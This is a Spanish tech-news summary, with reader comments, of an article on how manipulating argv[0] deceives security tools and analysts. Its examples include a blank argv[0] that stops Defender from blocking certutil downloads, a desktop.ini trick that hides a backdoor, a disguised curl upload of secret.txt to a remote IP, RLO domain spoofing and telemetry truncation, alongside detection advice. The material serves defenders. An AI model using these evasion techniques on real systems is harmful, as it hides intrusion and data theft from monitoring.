9 puntos por GN⁺ 2024-09-04 | 2 comentarios | Compartir por WhatsApp
  • La línea de comandos es extraña
  • Windows es especialmente conocido por este tipo de problema, pero la forma en que la mayoría de los sistemas operativos implementan la línea de comandos puede causar problemas de seguridad
  • Este artículo explica los problemas de la convención que reserva el primer argumento de la línea de comandos de un proceso, argv[0], para representar el nombre del proceso

argv[0] es un relicto del pasado

  • Cuando un programa se inicia, recibe argumentos de línea de comandos y puede acceder a ellos internamente; de hecho, es una de las primeras piezas de información que se le proporcionan al arrancar
    • Es un mecanismo principal para cambiar el flujo de ejecución del programa
  • Si observamos la familia de llamadas al sistema exec adoptada en POSIX y DOS/Win32
    • int execv(const char *path, char *const argv[]);
    • Para llamar a esta función execv, hay que pasar al programa la ruta completa de la aplicación a ejecutar como path y un vector con los argumentos como argv, y devuelve un entero con un código de estado
    • Según esta especificación, si el programa se ejecuta correctamente como resultado de esta llamada, el programa de destino se invoca mediante int main (int argc, char *argv[]);
  • En todos los estándares de C, argc no es negativo, argv[argc] es un puntero nulo y, si argc es mayor que 0, argv[0] representa el nombre del programa invocado
  • Algunos podrían cuestionar la necesidad de argv[0]
    • "El nuevo proceso claramente conoce su propio nombre, entonces ¿por qué hay que pasarlo como el primer argumento del proceso que lo invoca?"
    • En entornos POSIX, un programa puede invocarse mediante un enlace simbólico, así que esto sirve para ayudar al nuevo proceso a saber qué solicitud recibió
    • Por ejemplo, en Debian, shutdown y reboot están enlazados al mismo ejecutable systemctl, y se comportan de forma distinta según el comando con el que fueron invocados
  • Esto parece una decisión de diseño cuestionable
    • "¿Un programa debería comportarse distinto según su propio nombre?"
    • Desde una perspectiva moderna, parece reducir la previsibilidad del software y va en contra de los principios modernos de diseño
    • Desde la perspectiva de las décadas de 1970 y 1980, puede verse como un intento de minimizar la duplicación porque los recursos informáticos eran escasos
    • Pero hoy en día el espacio en disco ya no es un problema tan relevante. Por ejemplo, en macOS Sonoma, shutdown y reboot existen como ejecutables separados
    • Hay debate sobre si realmente es necesario fusionar dos programas parecidos en un solo archivo, o si sería más apropiado usar argumentos de comando
  • Incluso si se acepta este principio, la implementación en sí también es discutible
    • Es válido preguntarse si la información de argv[0] debería formar parte de los argumentos del proceso
    • Los programas que dependen de argv[0] pueden fallar si el proceso invocador no lo configura correctamente
    • También hay programas que usan argv[0] de manera incorrecta en términos de seguridad
    • Un enfoque mejor sería separar argv[0] en una capacidad aparte de task_struct o del PEB, para que el sistema operativo administre este valor
      • Esto permitiría un seguimiento coherente y reduciría el alcance de la manipulación
  • Sorprendentemente, el sistema operativo más cercano a hacer esto es Windows
    • A diferencia de otros sistemas operativos principales, Windows no establece argv[0] al crear un proceso nuevo
    • Las llamadas de API de Windows (CreateProcess, ShellExecute) establecen argv[0] automáticamente según la ruta del ejecutable
    • Aunque este método es la implementación más razonable, en Windows también existe una forma de configurar manualmente argv[0] porque adopta la llamada exec de POSIX

argv[0] se ignora (en la mayoría de los casos)

  • Independientemente de tu postura sobre la importancia de argv[0], en la práctica argv[0] es un concepto que existe y viene con problemas
  • En una llamada a exec, las dos primeras de las tres condiciones mencionadas antes las maneja el sistema operativo, pero la última, la relacionada con argv[0], no se administra
  • Como quien llama a exec controla por completo argv, puede ignorar este requisito, y ni el sistema operativo ni el programa invocador o el invocado verifican esta infracción
  • Ejemplo de ignorar argv[0]
    • Para imprimir Hello, world! usando echo, normalmente se llama a execv("/usr/bin/echo", ["echo", "Hello, world!"])
    • Pero incluso si se llama a execv("/usr/bin/echo", ["oopsie", "Hello, world!"]), el programa echo se ejecuta normalmente e imprime Hello, world!
    • El programa echo funciona ignorando argv[0] y concentrándose solo en los argumentos a partir de argv[1]
    • La mayoría de los programas adoptan un enfoque similar e ignoran argv[0]
  • Ejemplos de manipulación de argv[0]
    • En C y en varios lenguajes de programación y scripting existen formas de manipular argv[0]:
    python3 -c "import os; os.execvp('/path/to/binary', ['ARGV0', '--other', '--args', '--here'])"  
    perl -e 'exec {"/path/to/binary"} "ARGV0", "--other", "--args", "--here"'  
    ruby -e "exec(['/path/to/binary','ARGV0'],'--other', '--args', '--here')"  
    bash -c 'exec -a "ARGV0" /path/to/binary --other --args --here'  
    
  • Manipular argv[0] es sencillo y no afecta la ejecución de la mayoría de los programas. Sin embargo, desde el punto de vista de la seguridad, puede ser problemático

argv[0] puede romper los mecanismos de defensa

  • argv[0] puede usarse para engañar al software de seguridad. Si un usuario malicioso compromete el sistema, manipula el sistema ejecutando comandos del atacante
  • El software defensivo, como AV y EDR, monitorea la ejecución de procesos y detecta o bloquea ciertos comandos si se consideran dañinos. La mayoría de las soluciones detectan activamente comandos que los atacantes usan con frecuencia
  • Ejemplo: uso indebido del comando certutil
    • certutil, una herramienta de línea de comandos integrada por defecto en Windows, se usa con frecuencia en ataques. Se aprovecha como medio para descargar payloads externos después de obtener acceso inicial.
    • Microsoft Defender Antivirus bloquea la ejecución de certutil cuando hay argumentos de línea de comandos que indican un intento de descarga de archivos. Sin embargo, si certutil se inicia con argv[0] configurado como un espacio en blanco, Defender no lo bloquea
    • Esto muestra el problema que surge cuando la detección de seguridad trata el nombre del programa como parte de la línea de comandos. Por ejemplo, si la lógica de detección está construida como command_line.contains('certutil') AND command_line.contains('-urlcache'), existe la suposición de que certutil forma parte de la línea de comandos. Sin embargo, manipulando argv[0], se puede evadir esa lógica de detección
    • Una lógica de detección más efectiva sería algo como process_path.endswith('certutil.exe') AND command_line.contains('-urlcache')
  • Evasión de detección mediante argv[0]
    • La evasión de detección también es posible agregando palabras clave de ajuste en argv[0]. Normalmente, la detección combina condiciones básicas con condiciones adicionales para filtrar falsos positivos
    • Por ejemplo, puede activarse una regla de detección cuando attrib.exe realiza la acción de ocultar un archivo. Pero en la práctica también se ejecuta legítimamente con frecuencia sobre el archivo desktop.ini
    • Un atacante que conoce esto puede incluir desktop.ini en argv[0] para evadir la detección. Por ejemplo, puede configurarlo como argv = ['attrib_\desktop.ini', '+H', 'backdoor.exe']

argv[0] permite hacer trampas

  • argv[0] puede explotarse no solo para engañar al software de seguridad, sino también a las personas
  • Los analistas de seguridad revisan alertas generadas por herramientas de seguridad como el software EDR, y estas alertas incluyen la línea de comandos del proceso involucrado
  • La línea de comandos del proceso es información importante para que el analista decida si investigar más la alerta o descartarla
  • Ejemplo: engaño en la línea de comandos
    • Puede generarse una alerta por posible exfiltración de datos cuando se ejecuta el comando curl -T secret.txt 123.45.67.89. Ese comando sube el archivo secret.txt a la dirección IP 123.45.67.89
    • En el mismo escenario, si argv[0] se cambia de curl a curl localhost | grep, esto sigue siendo un comando válido.
    • Como el software de seguridad muestra el arreglo de línea de comandos como una cadena separada por espacios, en este caso es muy probable que el comando aparezca como curl localhost | grep -T secret.txt 123.45.67.89
    • Desde la perspectiva del analista, podría parecer que se ejecutó curl localhost y que su resultado se envió a grep -T secret.txt 123.45.67.89. Esto puede hacer que parezca una descarga desde una dirección local, cuando en realidad se está subiendo información a una dirección remota
  • Uso del carácter Right-To-Left Override (RLO)
    • Es posible manipular argv[0] usando el infame carácter RLO (reordenamiento de derecha a izquierda)
    • Este carácter Unicode le indica a la aplicación que renderiza el texto que muestre los caracteres siguientes en orden inverso
    • Si se inserta RLO en argv[0], ping moc.elgoog.some-evil-website.com puede verse como ping moc.etisbew-live-emos.google.com
    • Este método no afecta la lógica de detección, pero sí puede engañar a un analista
  • Estas técnicas muestran distintas maneras de manipular argv[0] para ocultar actividad maliciosa engañando tanto al software de seguridad como a la vista humana

argv[0] puede dañar la telemetría

  • Como argv[0] se ubica al principio de la línea de comandos, si se rellena con suficientes caracteres puede empujar todos los demás argumentos hasta el final de la línea de comandos
  • Esto puede ser problemático por dos motivos: primero, permite “ocultar” las partes interesantes al final de la línea de comandos para inducir al analista a no desplazarse; y, más importante aún, puede alargar lo suficiente la longitud total de la línea de comandos como para que el software de monitoreo termine recortando los argumentos realmente importantes
  • Límites de longitud de la línea de comandos
    • Desde Windows 7, la longitud máxima de la línea de comandos en Windows está limitada a 14,336 caracteres (aprox. 14 KiB)
    • En el kernel de Linux, la longitud máxima está codificada de forma fija como 32 páginas, lo que equivale a unos 131,072 caracteres (128 KiB) en arquitecturas de 64 bits
    • macOS Sonoma permite líneas de comandos de hasta 1,048,576 caracteres (1 MiB)
    • Esto significa que hay muchísimo espacio arbitrario que argv[0] puede ocupar
  • Casos de daño a la telemetría
    • El software de monitoreo de procesos (por ejemplo, EDR) puede registrar por completo ejecuciones con líneas de comandos largas, o recortarlas a una longitud fija para reducir la sobrecarga
    • Si se registra completa una línea de comandos larga, simplemente aprovechando la longitud máxima y lanzando 1,000 procesos se puede generar 1 GiB de datos de logs
    • Si se aplica recorte, los argumentos de la línea de comandos pueden quedar truncados en la telemetría. Por ejemplo, el comando perl -e 'exec {"echo"} "_"x50000, "Hello, world!"' imprime “Hello, world!”, pero en la telemetría de la ejecución pueden registrarse solo guiones bajos o, en algunos casos, incluso una línea de comandos completamente vacía
    • Como los argumentos de línea de comandos realmente importantes desaparecen, ni la lógica de detección ni los analistas pueden entender lo que realmente ocurrió

Riesgos de argv[0]: prevención y detección

  • argv[0] intenta resolver un problema, pero termina creando muchos otros
  • Como es poco probable que argv[0] desaparezca pronto, desde la perspectiva de seguridad hay que enfocarse en cómo manejarlo
  • Medidas preventivas
    • Los desarrolladores de software pueden comparar argv[0] con su propio nombre de archivo para verificar si fue manipulado, pero esto escala mal
    • El sistema operativo podría realizar esta verificación de manera más confiable. Depender de argv[0] para cambiar el flujo del programa es algo muy poco recomendable
    • Lo mejor para los desarrolladores es no interactuar con argv[0] siempre que sea posible
  • Métodos de detección para profesionales de seguridad
    • Comprender cómo funciona argv[0] y cuáles son sus problemas es un paso importante para prevenir engaños en la línea de comandos
    • Si el software de seguridad proporciona los argumentos de línea de comandos como un arreglo, ciertos patrones pueden identificarse de forma confiable
    • Valores de argv[0] excesivamente largos o que incluyan caracteres sospechosos como el símbolo de tubería deben marcarse de inmediato como sospechosos
    • Incluso si los argumentos de línea de comandos se proporcionan como una cadena, se pueden marcar líneas de comandos que no incluyan el nombre del programa. Eso sugiere que argv[0] fue manipulado
    • La sola presencia de caracteres RLO es un método de detección muy efectivo en la mayoría de los entornos
    • En el caso de argumentos truncados en la línea de comandos, hay que entender cómo los manejan la solución de seguridad y el data lake, y qué efecto tiene eso sobre la telemetría generada
  • Mejoras en el software defensivo
    • El software defensivo debe mejorar la detección del abuso de argv[0]. Debería ser posible bloquear la ejecución de software con valores sospechosos en argv[0] sin generar falsos positivos
    • Las plataformas EDR también deberían considerar excluir argv[0] al reportar argumentos de línea de comandos. Eso elimina la mayoría de los problemas resaltados en este artículo, y además su valor forense suele ser bajo en la mayoría de los casos
  • En última instancia, nadie quiere dolores de cabeza por culpa de argv[0]. Nuestro software tampoco

Resumen de GN⁺

  • argv[0] es un relicto del pasado y contradice principios modernos de diseño de software
  • La mayoría de los programas ignoran argv[0], pero eso puede generar problemas de seguridad
  • argv[0] puede engañar tanto al software de seguridad como a las personas, y puede dañar la telemetría
  • Los profesionales de seguridad deben detectar el abuso de argv[0], y el software defensivo debe manejarlo mejor

2 comentarios

 
scari 2024-09-05

Será porque soy de la vieja escuela... pero no coincido mucho con lo que plantea el autor. El problema es exec, y se siente como si el golpe le estuviera cayendo a argv[0].

 
GN⁺ 2024-09-04
Comentario de Hacker News
  • La objeción a leer argv[0] requiere ignorancia del autor o una defensa muy fuerte

    • Uno se pregunta cómo se supone que busybox funcione en una caja OpenWrt con un sistema de archivos raíz de 16 MB
    • Vale la pena considerar la discusión sobre limitar el uso del valor de argv[0]
    • Los atacantes igual pueden eludir las medidas de seguridad
  • argv[0] se usa para ser el destino de enlaces simbólicos de cientos de comandos

    • Android lo usa para la mayoría de los comandos de shell comunes
    • Toybox y busybox son ejemplos de eso
  • Con herramientas que usan argv[0] se pueden ejecutar comandos del host desde dentro de un contenedor

    • Ejemplo: se puede configurar el comando flatpak para que se ejecute en el host
  • No hay problema con que un programa se comporte distinto según su nombre

    • Incluir el nombre del programa en los argumentos de invocación es muy útil
  • La objeción a argv[0] sostiene que va en contra de los principios modernos de diseño

    • Si hay un symlink, es razonable saber cómo fue invocado el programa
    • Python usa argv[0] para comprobar si está dentro de un virtualenv y ajustar la ruta de búsqueda
  • argv[0] no es especialmente malo desde el punto de vista de seguridad

    • Es mejor corregir el software de seguridad para que cite los valores de argv
  • argv[0] no tiene problema

    • La mayoría de la gente usa argv[0] para distinguir la versión del comando
  • busybox usa argv[0] en modo "shim"

    • En temas de seguridad, es más importante usar mecanismos más profundos como SELinux
  • macOS configura varios comandos para que apunten a un solo ejecutable

    • Usa argv[0] para mejorar la usabilidad del CLI y reducir la duplicación de código
  • Si se elimina argv[0], se perderían funciones útiles

    • La seguridad de red debe manejarse en la red
    • Aunque se elimine argv[0], los atacantes encontrarán otra forma